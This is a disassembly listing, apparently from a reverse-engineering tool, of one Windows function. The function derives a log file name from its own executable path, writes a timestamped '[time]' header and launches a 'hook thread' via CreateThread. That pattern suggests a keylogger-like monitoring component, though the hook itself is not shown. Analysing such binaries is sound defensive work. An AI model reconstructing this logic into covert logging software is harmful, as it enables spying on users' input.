Function at 0x1400043d0
Capabilities:
Create thread

Disassembly:
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x210], rbx
mov rax, qword [0x140049010]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x20]
call fcn.14000a9c0
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140004436
lea rcx, str.Cannot_get_the_file_path_n
jmp 0x1400046e4
lea rax, [rbp - 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140004444
lea rdx, [rbp - 0x20]
lea rcx, [0x140049be8]
call fcn.140005dd0
lea rcx, [0x140049c08]
cmp rcx, rax
je 0x140004480
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140004477
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140005dd0
lea r8, [0x140049be8]
mov r10, qword [0x140049be8]
mov r11, qword [0x140049c00]
cmp r11, 0x10
cmovae r8, r10
mov r9, qword [0x140049bf8]
cmp r9, 1
jb 0x1400046dd
lea rax, [r9 - 1]
mov rcx, rbx
cmp rax, rbx
cmovb rcx, rax
add rcx, r8
movzx eax, word [0x140041c14]
cmp byte [rcx], 0x2e
jne 0x1400044dc
cmp byte [rcx], al
jne 0x1400044d3
xor edx, edx
jmp 0x1400044d8
sbb edx, edx
or edx, 1
test edx, edx
je 0x1400044ea
cmp rcx, r8
je 0x1400046dd
dec rcx
jmp 0x1400044c6
sub rcx, r8
cmp rcx, rbx
je 0x1400046dd
inc rcx
cmp r9, rcx
jb 0x140004711
mov qword [0x140049bf8], rcx
lea rax, [0x140049be8]
cmp r11, 0x10
cmovae rax, r10
mov byte [rax + rcx], 0
mov r8d, 3
lea rdx, [0x140041c38]
lea rcx, [0x140049be8]
call fcn.140005f30
xor ecx, ecx
call fcn.140011b9c
mov qword [rbp - 0x80], rax
xor ecx, ecx
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x58], ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rcx
cmp rax, rbx
je 0x140004664
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x78]
call fcn.140010c6c
test eax, eax
jne 0x140004664
lea r9, [rbp - 0x78]
lea r8, str._H:_M:_S__m__d__Y
lea edx, [rax + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400114a0
test rax, rax
je 0x140004664
movdqa xmm0, xmmword [0x140042cc0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8d, 6
lea rdx, str._time_
lea rcx, [rsp + 0x30]
call fcn.140005dd0
nop
lea rax, [rbp - 0x50]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400045e0
mov r8, rbx
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.140005f30
mov r8d, 7
lea rdx, str.__time_
mov rcx, rax
call fcn.140005f30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400047f0
mov rcx, rax
call fcn.140002d10
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000469c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000465d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000470b
call fcn.1400079c8
jmp 0x14000469c
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], SafeArrayUnaccessData
mov byte [rsp + 0x30], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._time_N_A__time_
lea rcx, [rsp + 0x30]
call fcn.140005dd0
lea rcx, [rsp + 0x30]
call fcn.140002d10
lea rax, [0x14004bb90]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140004290]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400046d2
lea rcx, str.Cannot_create_a_new_hook_thread_n
jmp 0x1400046e4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400046e9
lea rcx, str.Cannot_set_the_log_file_name_n
call fcn.140001120
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1400076f0
mov rbx, qword [rsp + 0x210]
add rsp, 0x200
pop rbp
ret
call fcn.140012538
int3
call fcn.140006300
int3